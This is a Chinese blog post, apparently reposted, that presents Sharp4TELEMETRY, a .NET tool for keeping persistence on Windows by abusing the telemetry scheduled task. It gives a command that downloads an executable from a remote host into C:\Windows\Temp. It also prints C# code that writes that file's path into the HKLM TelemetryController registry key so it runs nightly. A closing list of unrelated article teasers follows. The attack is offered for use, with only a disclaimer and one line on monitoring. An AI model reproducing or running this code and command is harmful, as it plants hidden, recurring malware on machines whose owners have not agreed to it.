.NET 一款系统遥测实现权限维持的工具

news2024/11/20 8:32:52

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4TELEMETRY是一款利用Telemetry功能来实现权限维持的工具,通过利用系统自带的遥测计划任务,下载和执行恶意程序来实现持久性。这种技术需要本地管理员权限,具体来说,需要能够写入注册表中的HKLM键权限。

图片

03

使用方法

Telemetry是系统用于收集和发送性能数据和错误报告的机制。然而,恶意攻击者可以利用Telemetry任务的定时执行功能,将其变成一种持久性的后门工具。下面是一个具体的命令示例

Sharp4TELEMETRY.exe install /url:http://8.8.8.8/xxx.exe /path:C:\Windows\Temp\check.ex

简单的来说就是从http://8.8.8.8/xxx.exe下载文件,将下载的文件存储到C:\Windows\Temp\check.exe。接着将下载的文件配置为Telemetry任务中的定时任务,从而实现恶意程序的定时执行。

04代码实现

Download方法从目标URL下载文件,并将其存储到指定路径。下载过程包括进度监控和异常处理,这块处理的过程相当精细化,使用ProgressChanged事件处理下载进度更新,确保每下载1%的进度或下载完成时更新进度,创建并启动下载任务,通过DownloadAsync方法异步下载文件。具体代码如下所示。

public void Download(string target, string Fileto)
  {
   WaitHandle[] mutexes = new WaitHandle[1];
   Dictionary<string, ManualResetEvent> downloads = new Dictionary<string, ManualResetEvent>();
   GidoraDownloader downloader = new GidoraDownloader(true);
   downloader.ExceptionThrown += delegate(object sender, DownloadExceptionEventArgs eventArgs)
   {
   };
   downloader.DownloadCompleted += delegate(object sender, DownloadCompletedEventArgs eventArgs)
   {
    DownloadResult result = eventArgs.Result;
    bool flag = !result.FileExists;
    if (flag)
    {
     Console.WriteLine("File not found");
    }
    downloads[result.FileUrl].Set();
   };
   double lastPercent = 0.0;
   Dictionary<string, double> lastPercents = new Dictionary<string, double>();
   downloader.ProgressChanged += delegate(object sender, ProgressChangedEventArgs eventArgs)
   {
    Dictionary<string, double> lastPercents = lastPercents;
    lock (lastPercents)
    {
     lastPercent = lastPercents[eventArgs.FileUrl];
    }
    double percent = (double)eventArgs.Progress / (double)eventArgs.FileLength * 100.0;
    bool flag = percent >= lastPercent + 1.0 || eventArgs.Progress == eventArgs.FileLength;
    if (flag)
    {
     lastPercent = percent;
     Dictionary<string, double> lastPercents2 = lastPercents;
     lock (lastPercents2)
     {
      lastPercents[eventArgs.FileUrl] = lastPercent;
     }
    }
   };
   CancellationTokenSource source = new CancellationTokenSource();
   for (int i = 0; i < 1; i++)
   {
    mutexes[i] = new ManualResetEvent(false);
    downloads.Add(target, (ManualResetEvent)mutexes[i]);
    lastPercents.Add(target, 0.0);
    downloader.DownloadAsync(target, Fileto, 2, source.Token);
   }
   WaitHandle.WaitAll(mutexes);
   string filePath = new Uri(target).Segments.Last<string>();
   Console.WriteLine("[>] Download To: " + Fileto + "\r\n");
  }

Edit方法负责编辑注册表,将下载的恶意文件配置为Telemetry任务的执行命令,从而实现恶意程序的定时执行。具体代码如下所示。

public void Edit(string Fileto)
  {
   Console.WriteLine("\r\n[*] Action: Edit Regedit");
   RegistryKey key = Registry.LocalMachine;
   RegistryKey software = key.CreateSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Levint");
   software.SetValue("Command", Fileto);
   software.SetValue("Nightly", 1, RegistryValueKind.DWord);
   this.Check();
  }

创建或打开注册表路径SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Levint,Command设置为恶意文件的路径指定Telemetry任务执行的命令。

这种方法利用了系统的遥测功能,使得恶意程序具有高度的隐蔽性和持久性。为了防止类似的攻击,需要加强对系统任务和注册表的监控,并严格管理本地管理员权限。工具已经打包在星球,感兴趣的朋友可以加入自取。

05推荐阅读

从漏洞分析到安全攻防,我们涵盖了.NET安全各个关键方面,为您呈现最新、最全面的.NET安全知识,下面是公众号发布的精华文章集合,推荐大家阅读!

图片

图片

图片

图片

图片

图片

06.NET安全星球

目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

图片

图片

图片

20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

    我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

图片

图片

图片

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1863407.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《山西化工》是什么级别的期刊?是正规期刊吗?能评职称吗?

问题解答 问&#xff1a;《山西化工》是不是核心期刊&#xff1f; 答&#xff1a;不是&#xff0c;是知网收录的第一批认定学术期刊。 问&#xff1a;《山西化工》级别&#xff1f; 答&#xff1a;省级。主办单位&#xff1a;山西省工业和信息化厅 主管单位&#xff1a;山…

【大数据技术原理与应用(概念、存储、处理、分析与应用)】第2章-大数据处理架构 Hadoop习题与知识回顾

文章目录 单选题多选题知识点回顾什么是Hadoop&#xff1f;Hadoop有哪些特性&#xff1f;Hadoop生态系统是怎么样的&#xff1f;(1) HDFS(2) HBase(3) MapReduce(4) Hive(5) Pig(6) Mahout(7) Zookeeper(8) Flume(9) Sqoop(10) Ambari 单选题 1、下列哪个不属于Hadoop的特性&am…

Docker - Oracle Database 23ai Free

博文目录 文章目录 说明命令NavicatSYSTEMPDBADMIN 扩展公共用户本地用户 说明 Oracle 官方镜像仓库 Database 23ai Free | Oracle Docker 官方没有提供 Oracle Database 相关镜像, 但是 Oracle 官方镜像仓库有提供, 打开上面的链接, 选择 Database, 选择合适的版本, 如 enter…

kafka-高级篇(下载安装、快速入门、使用场景)

文章目录 Kafka介绍Kafka使用场景kafka概述和安装kafka概述kafka安装配置 kafka快速入门创建项目导入依赖发送消息接收消息 kafka生产者详解发送类型参数详解 kafka消费者详解消息有序性Kafka消息有序性提交和偏移量 更多相关内容可查看 Kafka介绍 Apache Kafka是一个开源的分…

BarTender版软件下载及安装教程

​根据行业数据显示强大的配套应用软件甚至能够管理系统安全性、网络打印功能、文档发布、打印作业记录等&#xff0c;为满足不同的需要和预算&#xff0c;BarTender 提供四个版本&#xff0c;每个都拥有卓越的功能和特性。根据软件大数据显示多国语言支持&#xff1a;轻松设计…

web刷题记录

[HDCTF 2023]SearchMaster 打开环境&#xff0c;首先的提示信息就是告诉我们&#xff0c;可以用post传参的方式来传入参数data 首先考虑的还是rce&#xff0c;但是这里发现&#xff0c;不管输入那种命令&#xff0c;它都会直接显示在中间的那一小行里面&#xff0c;而实际的命令…

[分布式网络通讯框架]----RPC通信原理以及protobuf的基本使用

RPC &#xff08;Remote Procedure Call Protocol&#xff09;远程过程调用协议。 RPC特点 RPC协议&#xff1a;目前典型的RPC实现包括&#xff1a;Dubbo、Thrift、GRPC、Hetty等。网络协议和网络IO模型透明&#xff1a;RPC客户端认为自己是在调用本地对象&#xff0c;无需关…

Redis之优惠券秒杀

文章目录 全局ID生成器添加优惠券实现优惠券秒杀下单超卖问题悲观锁和乐观锁相关文章乐观锁执行逻辑乐观锁解决超卖问题 一人一单功能超卖问题相关文章一人一单执行逻辑代码实现集群模式下锁失效 分布式锁基于Redis的分布式锁Redis实现分布式锁流程实现分布式锁初级版本分布式锁…

2024年河北省特岗教师报名流程详细图解

最近有很多学员们问特岗教师具体的报名流程 给大家安排! 特岗报名步骤 第步: 电脑搜索“河北特岗招聘”登录进行注册 第步:注册后重新登录 第步: 根据个人情况选择填写自己的学历 第步:填写个人信息 (需要上传的电子版的照片、普通话证、学历证书、教资证等) 第步:选择岗位报名…

【源码+文档+调试讲解】企业人才引进服务平台

摘 要 随着信息时代的来临&#xff0c;过去的传统管理方式缺点逐渐暴露&#xff0c;对过去的传统管理方式的缺点进行分析&#xff0c;采取计算机方式构建企业人才引进服务平台。本文通过课题背景、课题目的及意义相关技术&#xff0c;提出了一种企业信息、招聘信息、应聘信息等…

敏捷开发笔记(第8章节)--单一职责原则(SRP)

1&#xff1a;PDF上传链接 【免费】敏捷软件开发(原则模式与实践)资源-CSDN文库 这条原则曾经在Tom DeMaro和Meilir Page-Jones的著作中描述过&#xff0c;并称之为内聚性。他们把内聚性定义为&#xff1a;一个模块的组成元素之间的功能相关性。 8.1 单一职责原则&#xff08…

【面试干货】Java中==和equals()的区别

【面试干货】Java中和equals&#xff08;&#xff09;的区别 1、操作符2、equals()方法3、总结 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 在Java中&#xff0c;和equals()是两个常用的比较操作符和方法&#xff0c;但它们之间的用法和…

制图工具(13)地理数据库初始化工具

一、需求背景 地理数据库库体初始化 作为GIS数据管理者&#xff0c;当你拿到数据库表结构&#xff0c;需要你创建一个数据库&#xff1f; 你需要将几个地理数据库的属性结构进行组合、修改&#xff0c;提供一个库体结构&#xff1f; 将不同作业单位&#xff0c;不同作业人员…

图神经网络实战(15)——SEAL链接预测算法

图神经网络实战&#xff08;15&#xff09;——SEAL链接预测算法 0. 前言1. SEAL 框架1.1 基本原理1.2 算法流程 2. 实现 SEAL 框架2.1 数据预处理2.2 模型构建与训练 小结系列链接 0. 前言 我们已经学习了基于节点嵌入的链接预测算法&#xff0c;这种方法通过学习相关的节点嵌…

【第三方JSON库】org.json.simple用法初探—Java编程【Eclipse平台】【不使用项目管理工具】【不添加依赖解析】

本文将重点介绍&#xff0c;在不使用项目管理工具&#xff0c;不添加依赖解析情况下&#xff0c;【第三方库】JSON.simple库在Java编程的应用。 JSON.simple是一种由纯java开发的开源JSON库&#xff0c;包含在JSON.simple.jar中。它提供了一种简单的方式来处理JSON数据和以JSO…

SQL Server 2022从入门到精通

大家好&#xff0c;我是爱编程的喵喵。双985硕士毕业&#xff0c;现担任全栈工程师一职&#xff0c;热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。…

架构是怎样练成的-楼宇监控系统案例

目录 概要 项目背景 原系统设计方案 改进后的设计方案 小结 概要 绝大多数人掌握的架构都是直接学习&#xff0c;慢慢地才能体会到一个架构的好处。架构是一种抽象&#xff0c;是为了复用目的而对代码做的抽象。通过一个项目的改造&#xff0c;理解架构是如何产生的&…

[C++][设计模式][抽象工厂]详细讲解

目录 1.动机2.模式定义3.要点总结4.代码感受1.代码一2.代码二 -- 工厂方法3.代码三 -- 抽象工厂 1.动机 在软件系统中&#xff0c;经常面临着“一系列相互依赖的对象”的创建工作&#xff1b;同时&#xff0c;由于需求的变化&#xff0c;往往存在更多系列对象的创建工作如何应…

【ARM】MDK工程切换高版本的编译器后出现error A1137E报错

【更多软件使用问题请点击亿道电子官方网站】 1、 文档目标 解决工程从Compiler 5切换到Compiler 6进行编译时出现一些非语法问题上的报错。 2、 问题场景 对于一些使用Compiler 5进行编译的工程&#xff0c;要切换到Compiler 6进行编译的时候&#xff0c;原本无任何报错警告…

Redis-哨兵模式-主机宕机-推选新主机的过程

文章目录 1、为哨兵模式准备配置文件2、启动哨兵3、主机6379宕机3.4、查看sentinel控制台日志3.5、查看6380主从信息 4、复活63794.1、再次查看sentinel控制台日志 1、为哨兵模式准备配置文件 [rootlocalhost redis]# ll 总用量 244 drwxr-xr-x. 2 root root 150 12月 6 2…